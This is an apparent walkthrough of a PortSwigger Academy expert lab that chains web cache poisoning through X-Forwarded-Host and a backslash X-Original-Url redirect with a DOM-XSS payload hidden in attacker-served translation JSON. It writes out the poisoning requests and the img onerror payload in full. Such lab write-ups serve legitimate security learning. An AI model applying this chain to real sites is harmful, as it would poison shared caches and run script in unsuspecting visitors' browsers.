Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type Web Cache Poisoning — Chained Exploit: DOM-XSS + Forced Language Redirect
Difficulty Expert
Objective Poison the cache with a response that executes alert(document.cookie) in the visitor's browser
Note A user visits the home page roughly once a minute with their language set to English; this lab requires constructing a complex exploit chain

Combining Web Cache Poisoning Vulnerabilities

The lab is a web shop with a language selector.

Screenshot

The language switcher works via /setlang/<code>, which redirects to /?localized=1. The / response body also contains a familiar pattern:

<script>
    data = {"host":"0a4e003704f73c4b8125354e005d0093.web-security-academy.net","path":"/"}
</script>

HTTP history showed requests to /resources/json/translations.json and /resources/js/translations.js.

Screenshot
Screenshot

Loading /setlang/es and checking a product page, "View details" rendered as:

<a class="button" href="/product?productId=1">Ver detailes</a>
Screenshot

The translated string lands inside an anchor tag — if the translation JSON's value for "View details" can be modified to include </a>, escaping that context and injecting a script becomes possible.

I ran Param Miner on both /resources/json/translations.json and / sent to Repeater:

Screenshot

X-Forwarded-Host came up as supported.

Screenshot

X-Original-URL came up too. Both would end up being needed. Testing X-Forwarded-Host first:

GET / HTTP/2
Host: 0a4e003704f73c4b8125354e005d0093.web-security-academy.net
X-Forwarded-Host: teto.com
<script>
    data = {"host":"teto.com","path":"/"}
</script>
Screenshot

data.host is controlled by X-Forwarded-Host, and further down the page initTranslations uses it to build the JSON fetch URL — controlling the header controls where translation data comes from.

I set up the exploit server to serve a modified translations.json with Access-Control-Allow-Origin: * in the response headers (same CORS requirement as the previous DOM-XSS lab), and sent a poisoning request to /?localized=1:

GET /?localized=1 HTTP/2
Host: 0a4e003704f73c4b8125354e005d0093.web-security-academy.net
X-Forwarded-Host: exploit-0a26003904a23cef8107342d01850061.exploit-server.net
Screenshot

After adding the CORS header, the page reflected our injected "View details" value — confirming the JSON redirection and DOM rendering both worked.

Screenshot
Screenshot

With the injection path confirmed, I weaponized the payload by escaping the anchor context in the translation value:

{
    "en": {
        "name": "English"
    },
    "es": {
        "name": "espanol",
        "translations": {
            "Return to list": "Volver a la lista",
            "View details": "</a><img src=teto onerror='alert(document.cookie)'/>",
            "Description:": "Descripcion:"
        }
    }
}
Screenshot

Alert fired. But the victim visits with their language set to English — this payload only fires on the Spanish-localized response. The /?localized=1 cache entry is poisoned, but the victim never hits it unless they're in the Spanish flow.

That's where X-Original-URL comes in. Using it to fake the /setlang/ path on the / request directly forces any visitor to / into the Spanish redirect:

GET / HTTP/2
Host: 0a4e003704f73c4b8125354e005d0093.web-security-academy.net
X-Original-Url: /setlang\es

The backslash rather than forward slash is deliberate — the server normalizes /setlang\es to /setlang/es via a redirect, and that redirect response is itself cacheable, unlike a direct /setlang/es response which carries Set-Cookie and therefore doesn't get cached under this lab's strict criteria. Path normalization quirks like this can change cacheability entirely, since the redirect routes through a different handler than the original path.

Screenshot
Screenshot

The full chain requires two separate cache entries poisoned simultaneously — neither alone is sufficient against an English-language visitor: GET /?localized=1 poisoned via X-Forwarded-Host so the Spanish translations load from the malicious JSON, and GET / poisoned via X-Original-Url: /setlang\es so any visitor to / gets redirected into the Spanish flow. I sent the /?localized=1 poisoning request first, then immediately the / request, and replayed both repeatedly to keep both entries live until the victim's visit landed in the window:

Screenshot
Screenshot
Screenshot

Lab solved 0-0

Dead Ends & Rabbit Holes

  • X-Original-Url: /setlang/es with a forward slash produces a response carrying Set-Cookie, which isn't cacheable under this lab's strict criteria. The backslash variant (/setlang\es) routes through the server's own slash-normalization redirect instead, and that redirect response doesn't carry the cookie header — making it cacheable.
  • The exploit server JSON missing Access-Control-Allow-Origin: * blocked the translations fetch the first time around — the network request succeeded but the browser refused to let the page read the response.

Resources